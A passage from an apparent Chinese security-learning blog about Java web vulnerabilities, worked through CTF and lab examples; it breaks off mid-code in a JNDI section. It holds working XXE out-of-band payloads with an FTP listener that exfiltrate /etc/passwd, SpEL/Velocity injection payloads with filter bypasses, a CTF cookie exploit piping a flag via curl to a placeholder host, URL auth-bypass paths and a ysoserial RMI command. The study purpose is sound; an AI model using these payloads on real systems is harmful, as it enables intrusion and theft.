    file:/ , netdoc:/就能列根目录了。这点在某些写过滤大意的情况下可能会有帮助,比如只过滤了file://的情况。

    这点曾经在某个比赛中遇到过。当时题目后端使用的是php。但是它有一个将xml节点渲染成图片并回显的功能。像这种功能的底部实现很有可能是java达成的。因此在不知道路径文件名读取源码时可以通过列目录解决问题。

    • java的xxe不能读取多行的问题

    这个相比较php而言算是比较大的问题。php的伪协议为其读取方式带来了很大的便利,并且几乎是万金油。但是java的xxe有时读取不到多行完全是取决于jdk的版本并且普遍存在读取不了< %的问题。

    通常我们在盲打java oob xxe时普遍选择ftp协议(其实是因为支持的可外连的协议只有http/s ftp)。http只能读取单行文件。ftp则在不同版本下有不同表现


    这里其他大佬普遍针对这个问题进行了研究
    https://landgrey.me/blog/9/
    https://www.leadroyal.cn/?p=914
    结论是:

    使用ftp 进行 oob 时,对版本有限制, <7u141 和 <8u162 才可以读取整个文件,全版本 http 都只可以读单行文件

    总之遇到问题先打上一发看看。这里放出ftpserver的ruby代码。因为vps端口问题我把端口改了

    require 'socket'
    server = TCPServer.new 8001
    loop do
      Thread.start(server.accept) do |client|
        puts "New client connected"
        data = ""
        client.puts("220 xxe-ftp-server")
        loop {
            req = client.gets()
            puts "< "+req
            if req.include? "USER"
                client.puts("331 password please - version check")
            else
               #puts "> 230 more data please!"
                client.puts("230 more data please!")
            end
        }
      end
    end
    

    payload

    <?xml version="1.0"?>
    <!DOCTYPE root [<!ENTITY % remote SYSTEM "http://xxxx/evil.dtd">%remote;]>
    <root/>
    

    evil.dtd

    <!ENTITY % payload SYSTEM "file:///etc/passwd">
    <!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'ftp://fakeuser:fakepass@xxxxxxxx:8001/%payload;'>">
    %int;
    %trick
    

    当然以上针对的是OOB.也就是盲打外带的方法

    • Xinclude xxe

    这点我倒是非常感兴趣。因为前不久的htb Quick这台靶机就用到了xinclude+xslt的RCE(没错,其实是引入通过外部xml达成RCE)

    当然不是所有服务都能像Esigate那样有这么低级的错误。正常来说我们一般是可以尝试xxe读文件

    <?xml version="1.0" ?>
    <root xmlns:xi="http://www.w3.org/2001/XInclude">
     <xi:include href="file:///etc/passwd" parse="text"/>
    </root>
    

    对于php而言。不需要打开外部实体引用选项,也能使用xinclude读取本地文件。

    这里顺便分享下htb 那里参考的文章。我认为其利用对于提升xxe作用这点是很有参考价值的。https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/

    总而言之,java进行xxe相比常见的php后端而言多了许多限制。但是可以列目录这点是关键。同时遇到要盲打时,ftp是最好的选择。防御上,使用setFeature就能让外部实体不被加载。

    ssti

    Java的ssti相比较jinja等等而言还是很好理解的。只是对于不同框架应对手段不同

    package org.joychou.controller;
    
    
    import org.apache.velocity.VelocityContext;
    import org.springframework.web.bind.annotation.GetMapping;
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.RestController;
    
    import org.apache.velocity.app.Velocity;
    
    import java.io.StringWriter;
    
    @RestController
    @RequestMapping("/ssti")
    public class SSTI {
    
        /**
         * SSTI of Java velocity. The latest Velocity version still has this problem.
         * Fix method: Avoid to use Velocity.evaluate method.
         * <p>
         * http://localhost:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20Calculator%22)
         * Open a calculator in MacOS.
         *
         * @param template exp
         */
        @GetMapping("/velocity")
        public void velocity(String template) {
            Velocity.init();
    
            VelocityContext context = new VelocityContext();
    
            context.put("author", "Elliot A.");
            context.put("address", "217 E Broadway");
            context.put("phone", "555-1337");
    
            StringWriter swOut = new StringWriter();
            Velocity.evaluate(context, swOut, "test", template);
        }
    }
    

    此处是一个Velocity的ssti。payload是#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl xxxx")

    可以看出渲染的语句是#开头后接一个反射构造的命令执行payload.$e为字符串。因此后面就是从java.lang.String对象开始获取类,方法,执行命令。

    这点上从某种角度与SpEL非常相似。当然后面做SpEL注入时再细讲。这里分享一个之前在SharkyCTF中遇到的Thymeleaf ssti。因为当时题目后端把各种命令执行都hook了,自己一直没能成功执行命令,虽然实际上不需要命令执行就能做,但是查资料的过程中也有了新的收获。

    https://ctftime.org/task/11563
    这题因为使用了Thymeleaf.加上我在使用[[${7*7}]]时返回了49。所以我认为是使用了Thymeleaf来进行渲染的。(Thymeleaf是通过两个中括号取值的)可惜题目底层hook的非常严,没能RCE。读文件的payload
    [[${ new java.io.BufferReader(new java.io.FileReader("/etc/passwd")).readLine()}]]都做不到。比赛结束后才发现要猜flag这个class的存在的,比较无语。但是从中我们也可以看出,java ssti其实就是判断出对应引擎后用接近于SpEL的思路来进行利用。否则就是利用题目环境中的class读取变量.

    比赛中当时参考了这篇文章https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/
    其实仔细想想怎么看都是SpEL的意思......所以相关技巧还是留到下一篇SpEL讲吧。

    SpEL

    vuln code

    package org.joychou.controller;
    
    import org.springframework.expression.ExpressionParser;
    import org.springframework.expression.spel.standard.SpelExpressionParser;
    import org.springframework.web.bind.annotation.GetMapping;
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.RestController;
    
    
    /**
     * SpEL Injection
     *
     * @author JoyChou @2019-01-17
     */
    @RestController
    public class SpEL {
    
        /**
         * SPEL to RCE
         * http://localhost:8080/spel/vul/?expression=xxx.
         * xxx is urlencode(exp)
         * exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io")
         */
        @GetMapping("/spel/vuln")
        public String rce(String expression) {
            ExpressionParser parser = new SpelExpressionParser();
            // fix method: SimpleEvaluationContext
            return parser.parseExpression(expression).getValue().toString();
        }
    
        public static void main(String[] args) {
            ExpressionParser parser = new SpelExpressionParser();
            String expression = "T(java.lang.Runtime).getRuntime().exec(\"open -a Calculator\")";
            String result = parser.parseExpression(expression).getValue().toString();
            System.out.println(result);
        }
    }
    

    首先,SpEL表达式注入漏洞 是EL(expression language)的一种。之所以叫SpEL是因为它是应用在Spring框架中的。不过只要掌握了SpEL的相关知识,想必其他的表达式注入漏洞也能收手到擒来吧。

    SpEL有许多特性:

    • 使用Bean的ID来引用Bean
    • 可调用方法和访问对象的属性
    • 可对值进行算数、关系和逻辑运算
    • 可使用正则表达式进行匹配
    • 可进行集合操作

    因此我认为上面一类java的ssti利用本质上还是在定界符中进行了表达式运算,所以了解表达式注入也就成为了重中之重。

    首先是语法知识

    • SpEL支持的定界符

    #{}

    引用其他对象:#{car}
    引用其他对象的属性:#{car.brand}
    调用其它方法 , 还可以链式操作:#{car.toString()}

    属性名称还可以使用${xxxx}
    此外还有一种使用T运算符,调用类作用域方法和常量#{T(java.lang.Math)}返回一个java.lang.Math对象

    一般来说我们会把SpEL用在xml配置或者注解的使用中,这应该是是为了其动态性。除此之外就是直接用在代码块中进行expression.

    导致SpEL注入的原因如下:

    SimpleEvaluationContext和StandardEvaluationContext是SpEL提供的两个EvaluationContext:
    SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
    StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

    在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。

    此处javasec的SpEL命令执行理论上只要使用

    T(java.lang.Runtime).getRuntime().exec("curl xxx")
    

    即可。不过这里执行时总是不成功,有点迷。但是没有关系,毕竟无论比赛还是实战都不可能碰上没有waf的SpEL。这里干脆直接找其他的几个例子来试试
    (其实懒得本地建个maven项目了,我自己爬)

    • code-breaking javacon

    年初的题一直留到现在...就是为了学SpEL的这一天。

    题目的源码jar下好后。老样子扔进lib里直接审计
    结构:


    在配置application.xml中有这样的黑名单

    spring:
      thymeleaf:
        encoding: UTF-8
        cache: false
        mode: HTML
    keywords:
      blacklist:
        - java.+lang
        - Runtime
        - exec.*\(
    user:
      username: admin
      password: admin
      rememberMeKey: c0dehack1nghere1
    

    显然是限制了Runtime.exec的命令执行。但是实际上这个waf真的非常友好了...

    再来看主体源码

    package io.tricking.challenge;
    
    import io.tricking.challenge.spel.SmallEvaluationContext;
    import java.util.regex.Matcher;
    import java.util.regex.Pattern;
    import javax.servlet.http.Cookie;
    import javax.servlet.http.HttpServletResponse;
    import javax.servlet.http.HttpSession;
    import org.springframework.beans.factory.annotation.Autowired;
    import org.springframework.expression.Expression;
    import org.springframework.expression.ExpressionParser;
    import org.springframework.expression.ParserContext;
    import org.springframework.expression.common.TemplateParserContext;
    import org.springframework.expression.spel.standard.SpelExpressionParser;
    import org.springframework.http.HttpStatus;
    import org.springframework.stereotype.Controller;
    import org.springframework.ui.Model;
    import org.springframework.web.bind.annotation.CookieValue;
    import org.springframework.web.bind.annotation.ExceptionHandler;
    import org.springframework.web.bind.annotation.GetMapping;
    import org.springframework.web.bind.annotation.PostMapping;
    import org.springframework.web.bind.annotation.RequestParam;
    import org.springframework.web.bind.annotation.ResponseStatus;
    import org.springframework.web.client.HttpClientErrorException;
    
    @Controller
    public class MainController {
        ExpressionParser parser = new SpelExpressionParser();
        @Autowired
        private KeyworkProperties keyworkProperties;
        @Autowired
        private UserConfig userConfig;
    
        public MainController() {
        }
    
        @GetMapping
        public String admin(@CookieValue(value = "remember-me",required = false) String rememberMeValue, HttpSession session, Model model) {
            if (rememberMeValue != null && !rememberMeValue.equals("")) {
                String username = this.userConfig.decryptRememberMe(rememberMeValue);
                if (username != null) {
                    session.setAttribute("username", username);
                }
            }
    
            Object username = session.getAttribute("username");
            if (username != null && !username.toString().equals("")) {
                model.addAttribute("name", this.getAdvanceValue(username.toString()));
                return "hello";
            } else {
                return "redirect:/login";
            }
        }
    
        @GetMapping({"/login"})
        public String login() {
            return "login";
        }
    
        @GetMapping({"/login-error"})
        public String loginError(Model model) {
            model.addAttribute("loginError", true);
            model.addAttribute("errorMsg", "登陆失败,用户名或者密码错误!");
            return "login";
        }
    
        @PostMapping({"/login"})
        public String login(@RequestParam(value = "username",required = true) String username, @RequestParam(value = "password",required = true) String password, @RequestParam(value = "remember-me",required = false) String isRemember, HttpSession session, HttpServletResponse response) {
            if (this.userConfig.getUsername().contentEquals(username) && this.userConfig.getPassword().contentEquals(password)) {
                session.setAttribute("username", username);
                if (isRemember != null && !isRemember.equals("")) {
                    Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe());
                    c.setMaxAge(2592000);
                    response.addCookie(c);
                }
    
                return "redirect:/";
            } else {
                return "redirect:/login-error";
            }
        }
    
        @ExceptionHandler({HttpClientErrorException.class})
        @ResponseStatus(HttpStatus.FORBIDDEN)
        public String handleForbiddenException() {
            return "forbidden";
        }
    
        private String getAdvanceValue(String val) {
            String[] var2 = this.keyworkProperties.getBlacklist();
            int var3 = var2.length;
    
            for(int var4 = 0; var4 < var3; ++var4) {
                String keyword = var2[var4];
                Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
                if (matcher.find()) {
                    throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
                }
            }
    
            ParserContext parserContext = new TemplateParserContext();
            Expression exp = this.parser.parseExpression(val, parserContext);
            SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
            return exp.getValue(evaluationContext).toString();
        }
    }
    

    流程非常简单。getAdvanceValue是一个解密+检查黑名单+调用spel的方法。而我们在登录后程序会从rememberme的cookie处对表达式进行计算。

    注意到加密方式源码

    public String encryptRememberMe() {
            String encryptd = Encryptor.encrypt(this.rememberMeKey, "0123456789abcdef", this.username);
            return encryptd;
        }
    

    rememberMeKey我们是知道的,所以就可以生成对应的cookiepayload了。

    #{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"curl xxxxx\"})}
    

    这里使用的方法是通过字符串拼接来绕过关键字过滤的问题。并且本质上还是使用的反射作为基础payload.


    生成cookie的代码

    
    public class spel {
        public static void main(String[] args) {
            System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"curl xxxxx/`cat /fla*`\"})}"));
        }
    }
    

    收下flag.

    由于还有很多CVE也是SpEL相关,所以我们可以利用相似的思路构造payload.比如用javascript引擎跟ProcessBuilder

    //反射 ScriptEngineManager类。获取eval.
    #{T(String).getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.la"+"ng.Run"+"time.getRun"+"time().ex"+"ec('calc.exe')")}
    
    //反射 ProcessBuilder,进行命令执行
    #{(T(String).getClass().forName("java.la"+"ng.ProcessBuilder").getConstructor('foo'.split('').getClass()).newInstance(new String[]{'calc.exe'})).start()}
    
    

    然后就是之前见过的用到数组绕过的方法构造的Nuxeo rce的payload。用于byoass getclass

    #{''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc.exe')}
    

    不过这个payload好像测试时就没成功过。

    然后还有一种bypass引号的方法

    ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
    

    即利用T运算符获取到Charactor再用toString来得到字符。

    • De1CTF calc

    上面的都是命令执行payload。然而实际上如果遇到De1这道题,openrasp把底层的命令执行都hook的情况,就只能从别的思路下手了。(虽然dalao还是RCE了,太强了)
    题目的过滤大致如下

    ProcessBuilder
    java.lang
    getClass
    Runtime
    new
    T(
    #
    

    先是这层过滤,然后才是openrasp的保护。

    这道题首先如果利用spel不区分关键字大小写的特性,可以直接忽视new被过滤的情况读文件

    New java.io.BufferedReader(New java.io.FileReader("/flag")).readLine()
    

    不过师傅对于这些关键字的绕过也有其他的办法
    https://landgrey.me/blog/15/

    比如前面的getClass(),除了用数组绕过,还可以用''.class.getSuperclass().class获取到

    除此以外,还FUZZ出了T%00(可以绕过T(的waf的手段。(这是底层源码的问题,膜)

    至于dalao达成RCE的思路,我觉得也非常值得学习。因为我们想要读文件或者执行命令的话,必然是要创建一个实例的。而SpEL提供了T()用来指定一个实例,这是一种思路。除此以外就是使用java代码来实例化。除了new以外,像反序列化这种方式也是可以创建实例的。所以使用T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0AB...'))这种静态方法完全可以。
    除此之外就是要把恶意代码写在默认的类构造器中,就不需要显示的实例化类,也能执行代码了。

    如果以后遇到对应的问题一定会去仔细研究下。

    url security issues

    今天来就几个url的问题稍微研究下。

    • GetRequestURI

    GetRequestURI.java

    package org.joychou.controller;
    
    
    import org.slf4j.Logger;
    import org.slf4j.LoggerFactory;
    import org.springframework.util.AntPathMatcher;
    import org.springframework.util.PathMatcher;
    import org.springframework.web.bind.annotation.GetMapping;
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.RestController;
    
    import javax.servlet.http.HttpServletRequest;
    
    /**
     * The difference between getRequestURI and getServletPath.
     * 由于Spring Security的<code>antMatchers("/css/**", "/js/**")</code>未使用getRequestURI,所以登录不会被绕过。
     * <p>
     * Details: https://joychou.org/web/security-of-getRequestURI.html
     * <p>
     * Poc:
     * http://localhost:8080/css/%2e%2e/exclued/vuln
     * http://localhost:8080/css/..;/exclued/vuln
     * http://localhost:8080/css/..;bypasswaf/exclued/vuln
     *
     * @author JoyChou @2020-03-28
     */
    
    @RestController
    @RequestMapping("uri")
    public class GetRequestURI {
    
        private final Logger logger = LoggerFactory.getLogger(this.getClass());
    
        @GetMapping(value = "/exclued/vuln")
        public String exclued(HttpServletRequest request) {
    
            String[] excluedPath = {"/css/**", "/js/**"};
            String uri = request.getRequestURI(); // Security: request.getServletPath()
            PathMatcher matcher = new AntPathMatcher();
    
            logger.info("getRequestURI: " + uri);
            logger.info("getServletPath: " + request.getServletPath());
    
            for (String path : excluedPath) {
                if (matcher.match(path, uri)) {
                    return "You have bypassed the login page.";
                }
            }
            return "This is a login page >..<";
        }
    }
    

    geteRequestURI实际上是HttpServletRequest中几个解析URL的函数中的一种。它会返回除去Host(域名或IP)部分的路径。这里我们本地来起个项目跑一下。
    按照Mi1k7ea博客中的jsp替换index.jsp (https://xz.aliyun.com/t/7544)

    <%
      out.println("getRequestURL(): " + request.getRequestURL() + "<br>");
      out.println("getRequestURI(): " + request.getRequestURI() + "<br>");
      out.println("getContextPath(): " + request.getContextPath() + "<br>");
      out.println("getServletPath(): " + request.getServletPath() + "<br>");
      out.println("getPathInfo(): " + request.getPathInfo() + "<br>");
    %>
    

    起一个tomcat的话,要在Run=>EditConfiguration 左边+号添加一个local tomcat server。并将项目路径配置好。我这里配置的根目录是java_sec_web.

    接着来实验。一下几种形式的访问都可以访问到index.jsp

    http://localhost:8080/java_sec_web/index.jsp
    http://localhost:8080/java_sec_web/./././././index.jsp
    http://localhost:8080/java_sec_web/totally_not_matter/../index.jsp
    

    特别的,使用;a/;bb/;ccc/index.jsp也可以访问到。

    从这里我们就能发现。使用getRequestURI似乎就是直接返回我们请求路径host后面的部分。实际上底层源码也确实是这么写的。既然如此就可以导致某些利用urlbypass的攻击。

    比如说,/java_sec_web/info路径下存在一个secret.jsp它通过如下代码来限制没有权限的人访问

     HttpServletRequest httpServletRequest = (HttpServletRequest)servletRequest;
    HttpServletResponse httpServletResponse =(HttpServletResponse)servletResponse;
    String url = httpServletRequest.getRequestURI();
    
    if (url.startsWith("/urltest/info")) {
        httpServletResponse.getWriter().write("No Permission.");
        return;
    }
    

    但是如下路径则可以轻松bypass

    http://localhost:8080/java_sec_web/./info/secret.jsp
    http://localhost:8080/java_sec_web/;233333/info/secret.jsp
    http://localhost:8080/java_sec_web/32112323/../info/secret.jsp
    

    回到项目上来。我们就可以用同样的道理进行权限绕过了。这里给出的path是css与js这样的静态目录。String[] excluedPath = {"/css/**", "/js/**"};我们同样可以通过几种方式访问。

    所以安全的解决方案通常是使用getPathInfo()或者getServletPath()来替换getRequestURI()

    今年的一个shiroCVE就是这个成因。因为拦截器写的时候拦截了/abc/*这样的正则。而使用/abc/1/时,shiro的拦截器没有拦截到。但是getRequestURI却让我们正常访问到了。导致了权限绕过。

    • url解析

    跟学习ssrf时里面出现的bypass url host限制是一个类型。因为有现成的解释就不多作说明了https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass

    基本上还是通过#,;等等来进行urlbypass绕过gethost。

    • 302调转
    package org.joychou.controller;
    
    import org.springframework.stereotype.Controller;
    import org.springframework.web.bind.annotation.GetMapping;
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.RequestParam;
    import org.springframework.web.bind.annotation.ResponseBody;
    
    import javax.servlet.RequestDispatcher;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.IOException;
    
    import org.joychou.security.SecurityUtil;
    
    /**
     * The vulnerability code and security code of Java url redirect.
     * The security code is checking whitelist of url redirect.
     *
     * @author JoyChou (joychou@joychou.org)
     * @version 2017.12.28
     */
    
    @Controller
    @RequestMapping("/urlRedirect")
    public class URLRedirect {
    
        /**
         * http://localhost:8080/urlRedirect/redirect?url=http://www.baidu.com
         */
        @GetMapping("/redirect")
        public String redirect(@RequestParam("url") String url) {
            return "redirect:" + url;
        }
    
    
        /**
         * http://localhost:8080/urlRedirect/setHeader?url=http://www.baidu.com
         */
        @RequestMapping("/setHeader")
        @ResponseBody
        public static void setHeader(HttpServletRequest request, HttpServletResponse response) {
            String url = request.getParameter("url");
            response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY); // 301 redirect
            response.setHeader("Location", url);
        }
    
    
        /**
         * http://localhost:8080/urlRedirect/sendRedirect?url=http://www.baidu.com
         */
        @RequestMapping("/sendRedirect")
        @ResponseBody
        public static void sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException {
            String url = request.getParameter("url");
            response.sendRedirect(url); // 302 redirect
        }
    
    
        /**
         * Safe code. Because it can only jump according to the path, it cannot jump according to other urls.
         * http://localhost:8080/urlRedirect/forward?url=/urlRedirect/test
         */
        @RequestMapping("/forward")
        @ResponseBody
        public static void forward(HttpServletRequest request, HttpServletResponse response) {
            String url = request.getParameter("url");
            RequestDispatcher rd = request.getRequestDispatcher(url);
            try {
                rd.forward(request, response);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    
    
        /**
         * Safe code of sendRedirect.
         * http://localhost:8080/urlRedirect/sendRedirect/sec?url=http://www.baidu.com
         */
        @RequestMapping("/sendRedirect/sec")
        @ResponseBody
        public void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response)
                throws IOException {
            String url = request.getParameter("url");
            if (SecurityUtil.checkURL(url) == null) {
                response.setStatus(HttpServletResponse.SC_FORBIDDEN);
                response.getWriter().write("url forbidden");
                return;
            }
            response.sendRedirect(url);
        }
    }
    

    这一部分更多是安全编程的问题。如果重定向出现问题就很有可能会与xss等漏洞联系起来。此处恶意代码中,任意url都可以通过setHeader,sendRedirect导致重定向。限制方法则如最后两个解决措施,限制只能在path间调转或者直接写好SecurityUtil来限制调转的url.

    java-rmi

    最早接触到rmi是在复现vulhub上fastjson漏洞时学到的,使用jndi注入时用到rmi://jndi://。现在来学习下rmi的具体使用,

    RMI(Remote Method Invocation)即远程方法调用,是分布式编程中的一个基本思想。
    Java RMI是专为Java环境设计的远程方法调用机制,是一种用于实现远程调用(RPC,Remote Procedure Call)的Java API,能直接传输序列化后的Java对象和分布式垃圾收集。它的实现依赖于JVM,因此它支持从一个JVM到另一个JVM的调用。
    在Java RMI中,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法,其中对象是通过序列化方式进行编码传输的。

    • design-pattern

    设计模式包含三个部分:
    1.Registry。Server端向Registry注册服务,Client端从Registry获取远程对象的一些信息并进行调用。
    2.Server 提供远程方法
    3.Client 使用远程方法

    • interaction

    1.首先,启动RMI Registry服务,启动时可以指定服务监听的端口,也可以使用默认的端口(1099)
    2.其次,Server端在本地先实例化一个提供服务的实现类,然后通过RMI提供的Naming/Context/Registry等类的bind或rebind方法将刚才实例化好的实现类注册到RMI Registry上并对外暴露一个名称
    3.最后,Client端通过本地的接口和一个已知的名称(即RMI Registry暴露出的名称),使用RMI提供的Naming/Context/Registry等类的lookup方法从RMI Service那拿到实现类。这样虽然本地没有这个类的实现类,但所有的方法都在接口里了,便可以实现远程调用对象的方法

    • dynamic class loading

    一个非常重要的点。rmi支持我们在没有某个类定义时前去下载远程类。这也是jndi与反序列化应用的主要手段。动态加载的对象class文件可以使用Web服务的方式进行托管。这可以动态的扩展远程应用的功能,RMI注册表上可以动态的加载绑定多个RMI应用。客户端使用了与RMI注册表相同的机制。RMI服务端将URL传递给客户端,客户端通过HTTP请求下载这些类。同样实现了动态加载。

    • coding

    下面来写个demo。还是按照mi1k7ea师傅的实例写法写下。

    服务端远程调用的类Identity

    import java.io.Serializable;
    
    
    public class Identity implements Serializable{
        private int id;
        private String name;
        private int age;
    
    
        public int getId() {
            return id;
        }
    
        public void setId(int id) {
            this.id = id;
        }
    
        public String getName() {
            return name;
        }
    
        public void setName(String name) {
            this.name = name;
        }
    
        public int getAge() {
            return age;
        }
    
        public void setAge(int age) {
            this.age = age;
        }
    }
    

    因为顾及到开发习惯,所以成员变量都是私有的。自然调用时也要有对应的setter,getter方法。idea支持直接alt+enter添加选中属性的setter和getter方法。

    然后是一个远程接口,ServiceImpl.class

    import java.rmi.Remote;
    import java.rmi.RemoteException;
    import java.util.List;
    
    public interface Service extends Remote{
        public List<Identity> GetList() throws RemoteException;
    }
    

    远程接口必须继承java.rmi.Remote接口,且抛出RemoteException错误
    然后是接口的实现类

    import java.rmi.RemoteException;
    import java.rmi.server.UnicastRemoteObject;
    import java.util.LinkedList;
    import java.util.List;
    
    public class ServiceImpl extends UnicastRemoteObject implements Service{
    
        public ServiceImpl() throws RemoteException {
            super();
        }
        @Override
        public List<Identity> GetList() throws RemoteException {
            System.out.println("Get Identity Start!");
            List<Identity> personlist =new LinkedList<Identity>();
    
            Identity person1 = new Identity();
            person1.setId(0);
            person1.setName("byc");
            person1.setAge(20);
            personlist.add(person1);
    
            Identity person2 = new Identity();
            person2.setId(1);
            person2.setName("Joe");
            person2.setAge(18);
            personlist.add(person2);
    
            return personlist;
    
        }
    }
    

    注意这里构造方法也要throw RemoteException.然后类建完后开始会报错说我们没有实现GetList()方法。这里直接点到报错的位置,它会自动提供我们一个重写的GetList()方法

    下面是一个把Server和Registry的创建、对象绑定注册表写到一块的Program代码

    import java.rmi.Naming;
    import java.rmi.registry.LocateRegistry;
    
    public class Program {
    
        public static void main(String[] args) {
            try {
                Service personService =new ServiceImpl();
                LocateRegistry.createRegistry(6666);
                Naming.rebind("rmi://127.0.0.1:6666/PersonService", personService);
                System.out.println("Service Start!");
            } catch (Exception e ) {
                e.printStackTrace();
            }
        }
    }
    

    客户端通过Naming.lookup()来查找RMI Server端的远程对象并获取到本地客户端环境中输出出来

    import java.rmi.Naming;
    import java.util.List;
    
    public class Client {
        public static void main(String[] args) {
            try {
                Service personService =(Service) Naming.lookup("rmi://127.0.0.1:6666/PersonService");
                List<Identity> personList=personService.GetList();
                for(Identity person:personList){
                    System.out.println("ID:"+person.getId()+" Age:"+person.getAge()+" Name:"+person.getName());
                }
            } catch (Exception ex){
                ex.printStackTrace();
            }
        }
    }
    
    

    同样是使用ctrl+alt+t添加try catch语句环绕中间rmi部分语句。
    先启动rmiserver.然后客户端调用方法。


    几个函数的使用

    bind(String name, Object obj):注册对象,把对象和一个名字name绑定
    
    rebind(String name, Object obj):注册对象,把对象和一个名字name绑定。如果改名字已经与其他对象绑定,不会抛出NameAlreadyBoundException错误,而是把当前参数obj指定的对象覆盖原先的对象
    //前者则会抛出NameAlreadyBoundException错误
    
    lookup(String name):查找对象,返回与参数name指定的名字所绑定的对象;
    
    • exploit

    Java 1.8.121版本以下

    java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit target_ip 1099  CommonsCollections1 "curl xxxx"
    

    Java 1.8.121版本及以上:

    重写个class,扔到ysoserial里重新编译https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI

    这样相当于加了个利用类。然后继续打就行了。

    发现vulhub原来有javarmi的两个镜像。自己仓库太久没更新导致疏忽了。

    我们来看看jdk高版本时做出的改变

    if (String.class == clazz
            || java.lang.Number.class.isAssignableFrom(clazz)
            || Remote.class.isAssignableFrom(clazz)
            || java.lang.reflect.Proxy.class.isAssignableFrom(clazz)
            || UnicastRef.class.isAssignableFrom(clazz)
            || RMIClientSocketFactory.class.isAssignableFrom(clazz)
            || RMIServerSocketFactory.class.isAssignableFrom(clazz)
            || java.rmi.activation.ActivationID.class.isAssignableFrom(clazz)
            || java.rmi.server.UID.class.isAssignableFrom(clazz)) {
        return ObjectInputFilter.Status.ALLOWED;
    } else {
        return ObjectInputFilter.Status.REJECTED;
    }
    

    所以利用时是通过白名单里可利用的类来进行反序列化。
    因为rmi在其他洞里出现的频率也很高。所以学习到其他漏洞时也会提及。

    jndi注入

    jndi注入的使用在shiro与fastjson的反序列化复现中都曾经使用过。想要真正理解这几种漏洞的脉络,还是得先把jndi的相关知识学懂。

    • jndi

    JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。
    JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等

    所以说jndi的作用主要在于"定位"。比如定位rmi中注册的对象,访问ldap的目录服务等等。

    • demo

    其使用与rmi很类似

    bind:将名称绑定到对象中;
    lookup:通过名字检索执行的对象
    

    下面是写的demo

    import java.io.Serializable;
    import java.rmi.Remote;
    
    
    public class Identity implements Remote,Serializable{
        private int id;
        private String name;
        private int age;
    
    
        public int getId() {
            return id;
        }
    
        public void setId(int id) {
            this.id = id;
        }
    
        public String getName() {
            return name;
        }
    
        public void setName(String name) {
            this.name = name;
        }
    
        public int getAge() {
            return age;
        }
    
        public void setAge(int age) {
            this.age = age;
        }
    
        public String toString(){
            return "id: "+id+" name: "+name+" age: "+age;
        }
    }
    

    与上面rmi的Identity类不同的是,这里我们必须让它继承java.rmi.Remote类.否则会抛出错误。同时加上一个toString()方法方便我们获取并打印对象的属性。

    一个服务端+客户端的整合代码。先用jndi的bind将Identity对象绑定在rmi服务中。然后再lookup检索对象输出。
    JndiServer

    import javax.naming.Context;
